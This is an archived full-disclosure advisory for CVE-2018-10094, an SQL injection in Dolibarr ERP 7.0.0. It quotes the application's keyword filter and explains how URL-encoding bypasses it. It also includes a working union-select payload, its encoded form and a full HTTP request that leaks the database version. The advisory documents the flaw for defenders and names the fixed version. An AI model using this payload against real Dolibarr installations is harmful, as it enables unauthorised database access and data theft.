[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 21 May 2018 08:51:30 +0200
From: Sysdream Labs <labs@...dream.com>
To: fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Subject: [CVE-2018-10094] Dolibarr SQL Injection vulnerability
# [CVE-2018-10094] Dolibarr SQL Injection vulnerability
## Description
Dolibarr is an "Open Source ERP & CRM for Business" used by many
companies worldwide.
It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
or as distribution packages (e.g .deb package).
**Threat**
The application does not handle user input properly and allows execution
of arbitrary SQL commands on the database.
**Expectation**
Prepared queries should be used in order to avoid SQL injection in user
input.
## Vulnerability type
**CVE ID**: CVE-2018-10094
**Access Vector**: remote
**Security Risk**: high
**Vulnerability**: CWE-89
**CVSS Base Score**: 7.5
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
## Details
The database connector escapes quotes with the `real_escape_string()`
wrapper. However it is still possible to perform injection on integer
parameters without quotes.
```php
mysqli.class.php
/**
* Escape a string to insert data
*
* @param string $stringtoencode String to escape
* @return string String escaped
*/
function escape($stringtoencode)
{
return $this->db->real_escape_string($stringtoencode);
}
```
Additional checks are defined later, which forbit some SQL keywords (e.g
`union`, `create`, `insert`). However, by url encoding the payload,
these checks are bypassed.
```php
main.inc.php
/**
* Security: SQL Injection and XSS Injection (scripts) protection
(Filters on GET, POST, PHP_SELF).
*
* @param string $val Value
* @param string $type 1=GET, 0=POST, 2=PHP_SELF
* @return int >0 if there is an injection
*/
function test_sql_and_script_inject($val, $type)
{
$inj = 0;
// For SQL Injection (only GET are used to be included into bad
escaped SQL requests)
if ($type == 1)
{
$inj += preg_match('/updatexml\(/i', $val);
$inj += preg_match('/delete\s+from/i', $val);
$inj += preg_match('/create\s+table/i', $val);
$inj += preg_match('/insert\s+into/i', $val);
$inj += preg_match('/select\s+from/i', $val);
$inj += preg_match('/into\s+(outfile|dumpfile)/i', $val);
}
if ($type != 2) // Not common, we can check on POST
{
$inj += preg_match('/update.+set.+=/i', $val);
$inj += preg_match('/union.+select/i', $val);
$inj += preg_match('/(\.\.%2f)+/i', $val);
}
// For XSS Injection done by adding javascript with script
// This is all cases a browser consider text is javascript:
// When it found '<script', 'javascript:', '<style', 'onload\s=' on
body tag, '="&' on a tag size with old browsers
// All examples on page: http://ha.ckers.org/xss.html#XSScalc
// More on
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
$inj += preg_match('/<script/i', $val);
$inj += preg_match('/<iframe/i', $val);
$inj += preg_match('/Set\.constructor/i', $val); // ECMA script 6
if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
$inj += preg_match('/base[\s]+href/si', $val);
$inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can
be set on img or any html tag like <img title='...' onmouseover=alert(1)>
$inj += preg_match('/onerror\s*=/i', $val); // onerror can be
set on img or any html tag like <img title='...' onerror = alert(1)>
$inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be
set on input text html tag like <input type='text' value='...' onfocus =
alert(1)>
$inj += preg_match('/onload\s*=/i', $val); // onload can be
set on svg tag <svg/onload=alert(1)> or other tag like body <body
onload=alert(1)>
$inj += preg_match('/onclick\s*=/i', $val); // onclick can be
set on img text html tag like <img onclick = alert(1)>
$inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be
on textarea
//$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event
handlers onAbort(), ...
$inj += preg_match('/:|:|:/i', $val); //
refused string ':' encoded (no reason to have it encoded) to lock
'javascript:...'
//if ($type == 1)
//{
$inj += preg_match('/javascript:/i', $val);
$inj += preg_match('/vbscript:/i', $val);
//}
// For XSS Injection done by adding javascript closing html tags
like with onmousemove, etc... (closing a src or href tag with not
cleaned param)
if ($type == 1) $inj += preg_match('/"/i', $val); // We
refused " in GET parameters value
if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF
is a file system path. It can contains spaces.
return $inj;
}
```
## Proof of Concept : retrieving the database name.
Payload:
```
1) union select
0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
Url-encoded payload:
%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
```
```http
GET
/dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5
Connection: close
Upgrade-Insecure-Requests: 1
...
</a>
</td>
<td>10.1.26-MariaDB-0+deb9u1</td>
<td>2</td>
<td></td>
<td>1</td>
<td>21</td>
<td class="nowrap">
```
## Affected versions
* Version 7.0.0 (last stable version as of March 2018) - previous
versions are probably also vulnerable but not tested
## Solution
Update to 7.0.2
([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))
## Timeline (dd/mm/yyyy)
* 18/03/2018 : Initial discovery
* 17/04/2018 : Contact with the editor
* 17/04/2018 : Editor acknowledges the vulnerability
* 18/04/2018 : Editor announces fixes in version 7.0.2
* 21/05/2018 : Vulnerability disclosure
## Credits
* Issam RABHI (i dot rabhi at sysdream dot com)
* Kevin LOCATI (k dot locati at sysdream dot com)
--
SYSDREAM Labs <labs@...dream.com>
GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1
* Website: https://sysdream.com/
* Twitter: @sysdream
Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
